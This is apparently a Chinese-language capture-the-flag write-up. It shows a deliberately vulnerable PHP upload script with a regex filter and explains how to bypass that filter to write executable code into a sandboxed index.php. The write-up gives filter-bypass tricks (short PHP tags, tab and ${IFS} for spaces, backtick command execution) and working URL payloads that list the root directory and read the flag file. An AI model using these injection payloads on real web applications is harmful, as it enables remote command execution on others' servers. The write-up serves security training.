<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}
function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>
思路:题目提示写shell,结合代码分析,action参数输入pwd可以获取沙盒路径,输入upload并添加data参数,可以把经过waf函数过滤后的命令执行代码或者shell写入index.php中。
需要完成的就是绕过waf函数的检测,waf函数使用了递归,对数组的每个键值对中的值都调用了check函数进行正则匹配。
preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)
过滤了’ 空格 _ php ; eval 等
过滤php目的是过滤php标签<?php ?>
绕过方法:
<?="1"?> //相当于<?php echo "1";?>
<?echo"1"?>
<% echo"1";%> //此标签有的版本行不通
过滤空格,绕过方法:
%09
<
>
<>
$IFS$9
${IFS}
过滤单引号,可以使用反引号绕过,在php中,被反引号包裹的代码会被当做命令执行
echo `ls /`; //会列出根目录的文件
payload:
?action=upload&data=<?echo%09`ls%09/`?>
然后使用?aciton=pwd
查看沙盒路径
访问该路径的index.php
找到flag所在文件
payload:
?action=upload&data=<?echo%09`cat%09/flllllll1112222222lag`?>
执行后访问沙盒路径即可